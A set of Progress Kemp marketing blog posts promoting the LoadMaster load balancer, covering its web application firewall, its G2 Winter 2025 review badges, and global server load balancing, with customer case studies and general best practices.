Learning from others’ experiences is an excellent way to gain valuable insights and best practices for your WAF implementation and management strategies. Here are a few selected LoadMaster success stories that include using a WAF, taken from our Resource Library Case Studies section.

Sligro, a leading food and drinks supplier in the Netherlands, deployed 14 Kemp LoadMasters to provide continuous uptime and security across its applications used by over 50,000 users. As an eCommerce business, security was critical to Sligro and the web application security enhancements provided by the WAF and the other security features available via LoadMaster were very important to their deployment choice.

The Dell Technologies Demo Center selected LoadMaster and WAF to help protect this vital technology demonstration and sales resource from application-layer attacks so that it would always be available to all staff, customers and partners worldwide.

Cantarus in the UK is a full-service digital and web design agency that works with membership organizations, charities and businesses. It delivers numerous customer solutions, from website and app hosting to infrastructure as a service or cross-platform integration. It’s vital that its digital services are always available and secure, so it deployed sets of virtual LoadMasters across two data centers in a high-availability configuration. To enhance the security of its own and its clients’ web applications, Cantarus deployed WAF to this highly available configuration.

Other case studies in which WAF played a part in the success are available on the case studies site.

Common Challenges and Solutions in WAF Management

Despite the benefits of WAFs, managing them can present specific challenges. From configuring rules to minimizing false positives to keeping up with the latest attack signatures, cybersecurity teams often face a range of annoyances when managing WAFs. Relying on the expertise of trusted sources and experts can mitigate the problems.

Rule Complexity - Using a WAF that can import industry standard rulesets and that you can update daily via a subscription from a trusted provider will reduce the overhead of initially configuring rules on a WAF and keeping them current against changing threats.

Reducing False Positives - Cybersecurity professionals are already busy. They don’t need to deal with the noise from false positive alerts generated by a WAF. The ability within the WAF to adjust the sensitivity of settings to reduce false positives is essential. Having sets of predefined configurations that you can import to configure a WAF in an ideal way for a particular application can make this process much easier for system admins.

Attack Signature Updating - Similar to automatic ruleset updates, it’s good to automatically update any signatures being used to detect known attack vectors.

Future Trends in Web Application Firewall Technology

The uptake and use of web applications will only accelerate in the future. As a result, the need for cybersecurity protection from WAFs will also increase. LoadMaster and the enhanced LoadMaster 360 WAF are ideal for this growing need. However, we’ll need to work smarter in the WAF security space. So, how will the sector change over the next few years?

One key trend is the increasing adoption of artificial intelligence (AI) and machine learning (ML) technologies. By analyzing vast amounts of data on network activity, WAFs using ML will predict potential issues before they become problems and provide actionable courses of action to administrators. In the future, WAFs will likely integrate with NDR tools.

Application security will experience further developments in the WAF space. WAFs will incorporate additional security elements as cyberthreats evolve to offer extensive protection against emerging threats. For instance, they will likely feature advanced bot protection and management to ward off DDoS attacks and enhanced integration with leading security information and event management solutions.

Progress Kemp LoadMaster and LoadMaster 360 solutions are well-positioned to embrace future trends and advancements in WAF security. LoadMaster and its WAF enable organizations to deliver an optimal application experience in the face of ever-changing challenges. This solution leverages emerging technologies, enhances security features, adapts to multi-cloud and edge computing environments and supports automation and DevSecOps practices.

Conclusion

WAFs are an essential part of the cybersecurity protection infrastructure. They operate alongside other cybersecurity solutions and techniques, including network firewalls, intrusion detection systems, network detection and response solutions, security event and information systems, identity and authentication management, zero-trust network access and more.

By implementing a layered security approach, organizations can decrease the risks of a compromised protective layer as other security layers are in place. Given the constantly evolving cyberthreats, deploying WAFs is essential to your cybersecurity strategy.

WAF with LoadMaster

LoadMaster WAF can play a central role in such a strategy, as it is powered by the industry-leading ModSecurity engine and supported by open-source rule sets and a commercial rules subscription service.

LoadMaster WAF takes advantage of all the benefits of the available flexible licensing models. Deploying LoadMaster instances with WAF via our Subscription Pooled Licensing allows WAF placement that fully meets every organization’s unique application delivery and security needs. Learn more and start a 30-day free trial of LoadMaster, including its WAF solutions. 

Building on our high ratings in the G2 Grid® Report for Load Balancing | Summer 2024 edition, we're delighted to report that Progress Kemp LoadMaster has maintained its high rating or increased its ranking position across 23 categories in the G2 Grid® Report for Load Balancing | Winter 2025.

Real-world reviews and testimonials from System Admins, like those compiled by G2, carry a lot of weight. G2 compiles them from the testimonies of IT professionals working to bring top-notch application experiences to their colleagues, customers and clients.

The System Admins have spoken, and thanks to their honest reviews, LoadMaster has garnered multiple award badges in the Winter 2025 release of the G2 Grid® Reports for Load Balancing.

G2 Delivers Software Insights Gleaned from Real-World Experiences

G2 is one of the world's most influential business technology and software review platforms. It is a trusted site where IT professionals who use technology solutions can leave honest reviews and ratings. At the time of writing, G2 has over 2,876,100 reviews from real people who use business software tools and solutions.

Every quarter, G2 analyzes product and vendor review scores and combines them with data collected from online sources and social networks to calculate customer satisfaction and market presence scores. Then, they plot the results on charts to compare and contrast how different products and vendors rank in various market sectors.

G2 Grid® Report for Load Balancing | Winter 2025 Results

The Winter 2025 G2 Grid® Reports for Load Balancing charts and explanatory notes are now available. You can access the reports and charts via the G2 site (free account creation required).

Five separate Winter 2025 G2 Grid® Reports for Load Balancing are available, covering the following market segments:

• Grid® Report for Load Balancing
• Enterprise Grid® Report for Load Balancing
• Mid-Market Grid® Report for Load Balancing
• Momentum Grid® Report for Load Balancing
• Small-Business Grid® Report for Load Balancing

Links to these five Grid® Reports are at the bottom of the G2 Load Balancing Software Resources page. There are also links to the previous Fall 2024 editions of the five reports.

Kemp LoadMaster Winter 2025 Grid® Reports for Load Balancing Award Badges

Progress Kemp LoadMaster earned 14 award badges across the G2 Winter 2025 Grid® Reports for Load Balancing. An increase of two award badges over the 12 secured via the Summer 2024 G2 Grid® Reports.

Grid® Report for Load Balancing

The Grid® Report for Load Balancing is the overall grid for all load balancing solutions that have received the requisite number of reviews — the threshold is ten reviews or ratings. As of January 2025, Kemp LoadMaster has 167 reviews and a 4.7 out of 5.0 rating. In this primary category, LoadMaster was awarded the Leader badge.

Figure 1: The G2 Leader Badge awarded to LoadMaster in the Winter 2025 Grid® Reports for Load Balancing

Enterprise Grid® Report for Load Balancing

The Enterprise Grid® Report for Load Balancing is a subset of the overall report grid. Based on user reviews, the load-balancing solutions included in this section of the Grid Reports are suitable for deployment in Enterprise settings. The Winter 2025 Grid® Reports include eleven load-balancing solutions in the Enterprise grid. LoadMaster is in the leader group within these eleven solutions and was awarded five badges for this category (shown below).

Figure 2: The five G2 Winter 2025 Enterprise Grid® Report for Load Balancing badges awarded to LoadMaster

Mid-Market Grid® Report for Load Balancing

The Mid-Market Grid® Report for Load Balancing is a subset of the overall vendor offerings. It includes load-balancing solutions that the data shows are suitable for deployment in SME (Small and Medium Enterprise) settings. Most businesses fall into the SME category, and solutions that scale from SME to Enterprise are especially valuable. LoadMaster is ranked highly in both sections of the Grid® Reports. The Winter 2025 Grid® Report has thirteen load-balancing solutions in the Mid-Market grid. LoadMaster is in the leader group within these thirteen solutions and was awarded two prominent badges for this category.

Figure 3: The two G2 Winter 2025 Mid-Market Grid® Report for Load Balancing badges awarded to LoadMaster

Other Badges Awarded to LoadMaster in the Winter 2025 Grid® Reports for Load Balancing

In addition to the eight badges highlighted above, LoadMaster was also awarded six additional badges that are not Enterprise or Mid-Market specific. These additional awards show that LoadMaster is a leader across all use cases for load-balancing solutions. Four of the badges are shown in figure 4 below.

Figure 4: Four G2 Winter 2025 Grid® Report for Load Balancing badges awarded to LoadMaster across all categories

The final two badges awarded to LoadMaster, to round out the total of 14 mentioned previously, are two for the Asia and Asia-Pacific regions. These badges are awarded based solely on end-user reviews from IT professionals in APAC countries. To be included in the Asia grid and receive Asia-focused badges, a product must have been reviewed at least 10 times by users in the APAC region. LoadMaster received the two Asia-focused badges shown in Figure 5.

Figure 5: Two Asia-specific G2 Winter 2025 Grid® Report for Load Balancing badges awarded to LoadMaster based on reviews from APAC-based IT professionals

Try LoadMaster for Yourself

The G2 Grid® Report for Load Balancing | Winter 2025 reviews and badges show that Progress Kemp LoadMaster stands out as an industry favorite load balancing solution for Enterprise and Mid-Market businesses.

It's also ideal for small businesses and departments within larger organizations that need a load balancer for development, DevSecOps or even production deployments.

All versions of LoadMaster fully align with modern deployment needs, provide comprehensive functionality, and have flexible licensing, including industry-leading subscription options, enabling LoadMaster with a lower cost of ownership than other vendor's offerings. When coupled with our industry-leading support, you will soon understand why G2 ratings for LoadMaster are consistently excellent.

Download a free 30-day trial version today (free registration required) or request a live demo from our expert team. We look forward to the day when your experience with LoadMaster means you add a review to the G2 LoadMaster page. Adding your voice to those informing your industry peers that LoadMaster is a good choice for their organizations.

It's difficult to overstate the benefits of GSLB for organizations operating in multi-region and global business environments. GSLB is an advanced method of distributing network traffic across multiple servers located in different geographical regions. Its primary function is to optimize resource utilization, maximize throughput, minimize response time and provide high availability of applications and services globally. GSLB intelligently routes application access requests to the most suitable server based on factors such as geographic proximity, server health and the current load across multiple data centers or cloud platforms. Its sophisticated traffic management enhances the user experience and boosts an organization's resilience and scalability.

GSLB also benefits organizations operating within specific regions like North America, Europe or Asia. These are large geographic areas, and GSLB can deliver better services between regional data centers. For example, between data centers on the East and West coasts of the USA, between London and Berlin, or between Singapore and Tokyo.

In this article, we'll dive into how GSLB delivers functionality and benefits across several technical areas.

Enhancing Application Performance Across Borders

GSLB works by distributing access requests across multiple data centers or cloud regions. This distribution uses various factors, including the user’s geographical location, the current load on each server in a particular region and the overall health of the server infrastructure. By directing users to the nearest or best-performing server, GSLB dramatically reduces the time it takes for data to travel from the server to a user device.

The impact of reduced latency on the application experience is significant. Studies have shown that even slight delays in page load times can lead to substantial increases in bounce rates and decreases in user engagement. For e-commerce sites, this can directly translate to lost sales. By helping users stay connected to the most responsive server in the most appropriate data center, GSLB helps businesses maintain a competitive edge.

As an example, when a customer in Asia accesses the website of an online shopping site, they are automatically directed to servers in the Asia-Pacific region. This results in a smooth browsing experience thanks in part to faster load times. Similarly, a customer in Europe gets routed to European servers. This seamless, location-based routing means that all users, regardless of their geographical location, enjoy an optimal performance.

Additionally, GSLB's ability to balance access requests and application sessions across multiple servers and regions prevents any single server or site from becoming overwhelmed during traffic spikes. This load distribution improves performance and contributes to the overall stability and reliability of service delivery.

The importance of GSLB in enhancing performance is particularly evident in industries where speed and reliability are critical, such as financial services, online gaming and content delivery networks. These sectors have significantly improved user satisfaction and operational efficiency through deploying GSLB.

Scalability and Flexibility

One example of this capability being used to good effect was when ASOS, the global e-commerce retailer, implemented LoadMaster GSLB solutions to handle its annual Black Friday sale. The system successfully managed a 500% increase in traffic by dynamically routing requests across multiple global data centers. This helped prevent site crashes and deliver a consistent performance for shoppers worldwide, resulting in record-breaking sales figures.

The flexibility and scalability offered by GSLB are both crucial. Flexibility allows organizations to adapt quickly to changing network conditions, user demands and business needs. This adaptability means that businesses can optimize their resource utilization and maintain performance in diverse and changing scenarios.

Hybrid cloud deployments provide a prime example of GSLB's flexibility. Organizations can use GSLB to seamlessly integrate on-premises infrastructure with cloud resources, allowing for resource allocation across the whole estate. During peak periods, traffic can be directed to cloud-based servers, providing additional capacity without the need for permanent data center server expansion.

Optimizing User Experience

User experience is vital for retaining customers and keeping staff happy. The performance improvements outlined earlier in this blog are vital in delivering an ideal application experience. As stated previously, the importance of GSLB in optimizing user experience comes from its ability to intelligently direct users to an appropriate server based on their geographical location.

The impact of this optimization is profound. For example, let's think about a global streaming service that utilizes GSLB solutions. If a user in Japan accesses the platform, they automatically connect to servers in the Asia-Pacific region. This means they experience low latency, minimal buffering and high-quality streaming, regardless of global traffic conditions. Similarly, a user in Brazil would be seamlessly directed to servers in South America, enjoying the same level of performance. However, if the servers the Brazilian user would typically connect to are overloaded, the Brazilian user will be redirected to servers in another region—such as North America.

Case studies illustrating improved user satisfaction with GSLB implementation include:

• ASOS - The already mentioned ASOS project to use GSLB to handle spikes in traffic, especially during extreme shopping events like Black Friday.
• Harris County District Attorney's Office - The Harris County DA Office in Houston serves over 4 million residents and relies on IT systems for case management, constituent services and employee accountability. They operate a primary data center in Houston and a remote failover site managed by a hosting provider to deliver 24x7 availability of services.
• L'Aquila L'Azienda Sanitaria - Progress and Ecobyte partnered to provide a disaster recovery solution for a healthcare provider in L'Aquila, Italy. A region prone to earthquake disruption. The solution utilized GSLB technology to deliver high availability and business continuity across multiple healthcare facilities serving over 310,000 residents. This includes managing critical email traffic, patient data and medical records with 99.9% availability, even during natural disasters.

Delivering High Availability

GSLB plays an important role in delivering high availability across regions via previously mentioned functionality—intelligently distributing traffic across multiple servers and data centers. This ability doesn't just feed into optimal performance delivery. It's also essential for maintaining service continuity in the face of failures or disasters that impact a region’s data centers. The loss of a data center causes the redirection of all traffic to data centers or cloud platforms located in other distinct geographic regions.

The Harris County DA Office case study outlined in the previous section is an example of GSLB being used to provide service continuity via high availability over multiple data centers. This example, and others, underscores the crucial role that GSLB plays in maintaining business continuity across wide geographic areas. By providing robust failover mechanisms and intelligent traffic routing, GSLB means that businesses can deliver reliable services despite unforeseen and significant local challenges.

Delivering Security in a GSLB Deployment

Cybersecurity needs to be considered and enhanced across all aspects of an IT infrastructure deployment to mitigate cyber threats. In addition to the benefits it brings in performance and service availability, GSLB can also enhance security. One area where it can play a significantly positive role is in helping to defend against or mitigate Distributed Denial of Service (DDoS) attacks.

By providing the ability to distribute legitimate access requests across multiple data centers and cloud platforms, GSLB makes it difficult for attackers to overwhelm a service or web application. In the event of a DDoS attack, GSLB can redirect traffic away from the targeted servers, maintaining service availability while system admins take additional measures to stop the attack.

Deltion College, located in the Netherlands, chose LoadMaster as part of an infrastructure upgrade project. The college was seeking to build a resilient and secure technology platform for their 15,000 students and 1,200 staff. The organization has always been an early adopter of proven new technologies, and as part of their project, they adopted Software Defined Network (SDN) technologies. The deployment used HP Virtual Application Network (VAN) Controllers and the adaptive load balancing technology for SDN provided by LoadMaster. One of the key features of SDN for Deltion College was the ability to configure its network bandwidth and servers dynamically. Additionally, they wanted to automate activities like application upgrades and back-ups and provide better protection from potential hacking and Denial of Service cyberattacks. Read more about this project on the LoadMaster Case Studies site.

GSLB contributes to security by providing geographical isolation when needed. In the event of a security breach affecting one data center location, system admins can isolate the infected site by excluding it via the GSLB servers, minimizing the impact on overall operations and data security.

Global server load balancing also aids in data security for industries handling sensitive data, such as healthcare and finance. These sectors can benefit from GSLB's ability to provide compliance with data protection regulations by controlling where data is processed and stored based on geographical and jurisdictional requirements and a user’s location. For example, it’s important to provide exclusive server access for EU users that comply with EU regulations.

Implementation Best Practices

Implementing global server load balancing requires careful strategic planning. Additional requirements include a thorough understanding of the geo load balancing technology and the specific application environments it will support. Here are some best practices (with LoadMaster as the load balancer and the GSLB solution):

• Plan Carefully - Define your disaster recovery, performance or scaling needs. Assess your applications and the geographic spread of your users.
• Don’t Forget DNS - Use a reliable DNS provider and strategically configure your network with proper IP addresses and secure communication.
• Deploy Resilient LoadMaster Solutions - Install at least a pair of LoadMaster solutions in separate locations to deliver redundancy in GSLB. Configure LoadMaster GEO clustering and licensing, set up FQDNs and associate Virtual IPs.
• Choose Your Algorithm - Pick a load balancing method (round robin, weighted, location-based, proximity, etc.) that best suits the application’s needs.
• Health Checks are Key - Configure health checks to monitor servers and entire sites more accurately. Use different check types for robust coverage.
• Resilience Matters - Plan for failover scenarios with backup sites and automatic failover mechanisms for more seamless service continuity.
• Test and Monitor - Run simulations to test failover behavior and continually monitor your GSLB deployment to boost optimal performance.

Additionally, implementations of GSLB should meet the diverse needs of various application types. For example, the following app scenarios should have different setups:

• E-commerce - Prioritize uptime and session persistence.
• Streaming - Emphasize real-time performance.
• Cloud - Use cloud-native features for flexibility.
• Hybrid - Integrate physical and cloud infrastructure carefully.

Future Trends in Global Server Load Balancing

The usage of GSLB will continue to grow in importance and how the technology gets used will also change to accommodate the changing infrastructure landscape. “It’s difficult to make predictions, especially about the future,” as Neils Bohr said, but here are some areas where GSLB could impact and change its usage pattern over the next few years.

• The Cloud Transformation
⁃ Deeper Cloud Integration - GSLB should become even more tightly integrated with cloud platforms (AWS, Azure, GCP), using cloud-native concepts for load balancing, auto-scaling and resilience.
⁃ Multi/Hybrid-Cloud Awareness - GSLB solutions will become standard for managing traffic across public, private and hybrid cloud environments.
• Edge Computing Growth
⁃ Distributed GSLB - GSLB will evolve to support distributed decision-making at the edge, allowing faster routing and lower latency for users accessing applications running on edge networks.
• Increased Use of Machine Learning
⁃ Intelligent Routing - GSLB will use artificial intelligence and machine learning for more sophisticated traffic steering based on real-time user behavior, network conditions and application health.
⁃ Predictive Analytics - Machine learning will enable GSLB systems to perform predictive failure analysis and proactive load balancing to avoid outages.
• Focus on User Experience
⁃ Performance-Centric Metrics - GSLB decision-making when routing requests will place greater emphasis on real-world user experience metrics like page load times and application responsiveness.
⁃ Content-Aware Routing - GSLB may consider the type of content requested, optimizing delivery for specific media formats or device types.
• Enhanced Security
⁃ Integrated Threat Protection - GSLB solutions will incorporate deeper security features, such as distributed denial-of-service (DDoS) mitigation and enhanced WAF capabilities.
⁃ Zero Trust Frameworks - GSLB will likely play a role in Zero Trust security models, facilitating secure access for geographically dispersed users.

 

To summarize, GSLB will evolve into a more dynamic and intelligent solution and more seamlessly integrate cloud, AI and edge technologies. User experience and security will become central to its role in the ever-changing application delivery landscape.

Conclusion

We can't overstate the importance of global server load balancing. GSLB solutions will play an increasingly crucial role in enhancing website performance, maintaining high availability, optimizing the user experience, supporting scalability and strengthening several aspects of cybersecurity.

By implementing effective GSLB strategies, businesses can get global server optimization, mitigate security risks and stay ahead in a rapidly evolving technological landscape. As we move into the future, staying abreast of advancements in GSLB technology and adopting best practices is vital to maintaining operational excellence

Leveraging the benefits of GSLB is not just a technical consideration; it’s a strategic imperative for businesses aiming to thrive in a global market.

Related Articles

These related articles about Global Server Load Balancing may be of interest.

• How to Achieve Resilience and Scale with Global Server Load Balancing
• Global Server Load Balancing - How It Works
• Global Server Load Balancing - Why it is Necessary
• What is Global Server Load Balancing?

A web application firewall (WAF): do you need one? What exactly does a WAF do? What’s the big idea?

Let’s cut to the chase and address those questions.

Do You Need a Web Application Firewall?

Question: Do you have a website or web service that’s open to the public internet?

Then yes, you need a WAF. The extra layer of defense provided by a WAF will help prevent your website from being low-hanging fruit for attackers.

You’ll likely want to invite the world into your website or web service. After all, more views mean more clicks and better business. At the same time, you want to reduce the risks of being easily accessible, as any potential customer could be a potential attacker. Deploying a WAF greatly assists in managing these threats.

Question: Do you have a mission-critical web application, exposed externally or internally?

Yes, you need a WAF. If a web application is too important to fail, then it should be afforded the protection of a WAF. Attacks can happen internally, too, especially if an internal device should ever be compromised. (See also: zero trust networking.)

Question: Do you have an internal-only, low-priority web app?

You can rest easy! It sounds like you don’t need a WAF, but deploying one will help make your web apps more robust and secure. It can even be a good learning experience to start by increasing security for a low-priority app before moving on to key business applications and services.

To Briefly Recap: What Is a Web Application Firewall and What Is Its Purpose?

A WAF is a device that filters and blocks web traffic (HTTP traffic).

In the realm of information security, when we have a valuable asset worth protecting (like a web service), we apply the concept of defense in depth. We protect our assets by using multiple independent layers of defense. A WAF is one layer of defense for web applications, as shown in the following image.

If one or more defense layers are compromised, you still have other layers of security in place to provide protection. A WAF is a critical layer of security because it filters and helps block malicious web traffic before it reaches the application server. This is especially important for web applications that handle personal and confidential information, where security failure could bring disastrous consequences.

Progress Kemp LoadMaster WAF functionality is based on industry-standard technology from the OWASP Foundation. It detects and mitigates the most common kinds of attacks facing web applications today, including the attack vectors described by the OWASP Top 10. This provides peace of mind and allows you to focus more on the complex areas of security and compliance.

You Might Already Have Access to a Web Application Firewall

Did you know that if you’re a LoadMaster Enterprise Plus customer, you already have access to the fully featured WAF built into LoadMaster? We strongly encourage you to take advantage of this extra layer of security if you’re not already using it.

Protecting a virtual service with a WAF is one click away. The WAF is enabled with a sensible default configuration that will work out of the box with most web traffic. The WAF configuration can be refined and tuned over time to work with your specific flavor of web traffic, with the help of LoadMaster support when needed. As your confidence in the WAF solution grows over time, you can set the WAF to be more aggressive, giving it sharper teeth to catch attackers while allowing legitimate user traffic to flow undisturbed.

If your web services are important enough to require load balancing and high availability, are they also important enough to warrant the protection of a WAF?

If You Don’t Have WAF Functionality, It’s Easy to Get It

It's easy to upgrade to an Enterprise Plus subscription to gain full access to the LoadMaster WAF functionality. Contact your Progress sales representative for further discussion or if you have any questions contact us online.

In addition to providing a fully featured WAF, LoadMaster Enterprise Plus also provides Global Server Load Balancing (GSLB), which may be useful for building WAF-protected services with multi-site redundancy and resilience.

For full information on all features included, reference the LoadMaster subscriptions page.

LoadMaster 360 Enhanced WAF: “WAF on Easy Mode”

The final puzzle piece is LoadMaster 360 and its new “enhanced WAF” capabilities. These build upon the core WAF functionality provided by LoadMaster and provide two new key benefits:

1. Dashboarding for at-a-glance statistics and feedback
2. Automatic WAF event filtering and WAF configuration

Linking a WAF-enabled LoadMaster to LoadMaster 360 is easy and automatically creates a dashboard (the example shown above) that visualizes vital statistics. It's now easier to receive answers to questions like, “What is the WAF doing?” “How many requests has the WAF inspected?” “How many requests has it blocked?” These tangible headline metrics are clearly presented and can be examined for different time periods.

In addition, LoadMaster 360 examines the WAF event logs and processes them through a series of smart filters. This enables LoadMaster 360 to identify the most likely candidates for false positive events: occasions when genuine, legitimate user traffic causes WAF rules to match in error.

This analysis traditionally required manual or semi-automated work through the WAF logs. LoadMaster 360 does the heavy lifting for you by processing potentially hundreds of thousands of individual WAF events and presenting a shortlist of likely false positives requiring an operator’s attention.

Finally, when an operator confirms that a false positive is legitimate, LoadMaster 360 will automatically generate the WAF configuration required to prevent the false positive from reoccurring in the future. This removes the need for an operator to learn the WAF rule language and syntax.

These new tools make using, tuning and configuring a WAF deployment easier than ever. Thanks to new visualization tools, non-security engineers can fully take advantage of the critical protection a WAF provides to a web service.

Shields Up: It’s Time to Secure Your Web Applications

The best time to deploy a WAF was yesterday; the second-best time is today! With new web application vulnerabilities and threat actors on the horizon, it’s time to boost the security of your web applications to reduce risks. A WAF is a critical layer of defense for any website or web application.

It’s easier than ever to start your WAF journey and Progress is here to support you every step of the way. Arrange a live demo with an expert and start a 30-day free trial, or get in touch with us.